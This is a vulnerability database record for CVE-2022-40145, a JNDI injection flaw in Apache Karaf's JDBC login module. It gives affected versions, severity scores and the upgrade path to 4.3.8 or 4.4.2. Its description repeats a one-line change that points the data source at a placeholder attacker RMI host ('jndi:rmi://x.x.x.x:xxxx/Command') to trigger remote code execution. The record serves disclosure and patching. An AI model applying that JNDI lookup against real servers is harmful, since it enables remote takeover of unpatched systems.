gsd-2022-40145
Vulnerability from gsd
Modified
2023-12-13 01:19
Details
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Aliases
Aliases
{ "GSD": { "alias": "CVE-2022-40145", "id": "GSD-2022-40145" }, "gsd": { "metadata": { "exploitCode": "unknown", "remediation": "unknown", "reportConfidence": "confirmed", "type": "vulnerability" }, "osvSchema": { "aliases": [ "CVE-2022-40145" ], "details": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8", "id": "GSD-2022-40145", "modified": "2023-12-13T01:19:31.136684Z", "schema_version": "1.4.0" } }, "namespaces": { "cve.org": { "CVE_data_meta": { "ASSIGNER": "security@apache.org", "ID": "CVE-2022-40145", "STATE": "PUBLIC" }, "affects": { "vendor": { "vendor_data": [ { "product": { "product_data": [ { "product_name": "Apache Karaf", "version": { "version_data": [ { "version_affected": "=", "version_value": "4.4.0" }, { "version_affected": "=", "version_value": "0" } ] } } ] }, "vendor_name": "Apache Software Foundation" } ] } }, "credits": [ { "lang": "en", "value": "Xun Bai \u003cbbbbear68@gmail.com\u003e" } ], "data_format": "MITRE", "data_type": "CVE", "data_version": "4.0", "description": { "description_data": [ { "lang": "eng", "value": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8" } ] }, "generator": { "engine": "Vulnogram 0.1.0-dev" }, "problemtype": { "problemtype_data": [ { "description": [ { "cweId": "CWE-74", "lang": "eng", "value": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)" } ] }, { "description": [ { "cweId": "CWE-20", "lang": "eng", "value": "CWE-20 Improper Input Validation" } ] } ] }, "references": { "reference_data": [ { "name": "https://karaf.apache.org/security/cve-2022-40145.txt", "refsource": "MISC", "url": "https://karaf.apache.org/security/cve-2022-40145.txt" } ] }, "source": { "defect": [ "KARAF-7568" ], "discovery": "EXTERNAL" } }, "gitlab.com": { "advisories": [ { "affected_range": "(,4.3.8),[4.4.0,4.4.2)", "affected_versions": "All versions before 4.3.8, all versions starting from 4.4.0 before 4.4.2", "cwe_ids": [ "CWE-1035", "CWE-20", "CWE-74", "CWE-78", "CWE-937" ], "date": "2022-12-21", "description": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` use `InitialContext.lookup(jndiName)` without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8", "fixed_versions": [ "4.3.8", "4.4.2" ], "identifier": "CVE-2022-40145", "identifiers": [ "GHSA-c2p4-8mvv-rwmv", "CVE-2022-40145" ], "not_impacted": "All versions starting from 4.3.8 before 4.4.0, all versions starting from 4.4.2", "package_slug": "maven/org.apache.karaf/apache-karaf", "pubdate": "2022-12-21", "solution": "Upgrade to versions 4.3.8, 4.4.2 or above.", "title": "Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)", "urls": [ "https://nvd.nist.gov/vuln/detail/CVE-2022-40145", "https://karaf.apache.org/security/cve-2022-40145.txt", "https://github.com/apache/karaf/pull/1632", "https://gitbox.apache.org/repos/asf?p=karaf.git;h=2a933445d1", "https://gitbox.apache.org/repos/asf?p=karaf.git;h=3819f48341", "https://issues.apache.org/jira/browse/KARAF-7568", "https://github.com/advisories/GHSA-c2p4-8mvv-rwmv" ], "uuid": "82d62855-16b5-46f6-81b4-b18538ce1b5c" }, { "affected_range": "(,4.3.8),[4.4.0,4.4.2)", "affected_versions": "All versions before 4.3.8, all versions starting from 4.4.0 before 4.4.2", "cvss_v3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cwe_ids": [ "CWE-1035", "CWE-937" ], "date": "2023-06-27", "description": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE,\"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8", "fixed_versions": [ "4.3.8", "4.4.2" ], "identifier": "CVE-2022-40145", "identifiers": [ "CVE-2022-40145" ], "not_impacted": "All versions starting from 4.3.8 before 4.4.0, all versions starting from 4.4.2", "package_slug": "maven/org.apache.karaf/karaf", "pubdate": "2022-12-21", "solution": "Upgrade to versions 4.3.8, 4.4.2 or above.", "title": "Improper Neutralization of Special Elements in Output Used by a Downstream Component (\u0027Injection\u0027)", "urls": [ "https://nvd.nist.gov/vuln/detail/CVE-2022-40145", "https://karaf.apache.org/security/cve-2022-40145.txt" ], "uuid": "4356b170-db58-42c8-b743-46b2b22896ea" } ] }, "nvd.nist.gov": { "configurations": { "CVE_data_version": "4.0", "nodes": [ { "children": [], "cpe_match": [ { "cpe23Uri": "cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*", "cpe_name": [], "versionEndExcluding": "4.4.2", "versionStartIncluding": "4.4.0", "vulnerable": true }, { "cpe23Uri": "cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*", "cpe_name": [], "versionEndExcluding": "4.3.8", "vulnerable": true } ], "operator": "OR" } ] }, "cve": { "CVE_data_meta": { "ASSIGNER": "security@apache.org", "ID": "CVE-2022-40145" }, "data_format": "MITRE", "data_type": "CVE", "data_version": "4.0", "description": { "description_data": [ { "lang": "en", "value": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8" } ] }, "problemtype": { "problemtype_data": [ { "description": [ { "lang": "en", "value": "NVD-CWE-Other" } ] } ] }, "references": { "reference_data": [ { "name": "https://karaf.apache.org/security/cve-2022-40145.txt", "refsource": "MISC", "tags": [ "Vendor Advisory" ], "url": "https://karaf.apache.org/security/cve-2022-40145.txt" } ] } }, "impact": { "baseMetricV3": { "cvssV3": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9 } }, "lastModifiedDate": "2023-06-27T18:34Z", "publishedDate": "2022-12-21T16:15Z" } } }
Loading...
Loading...
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.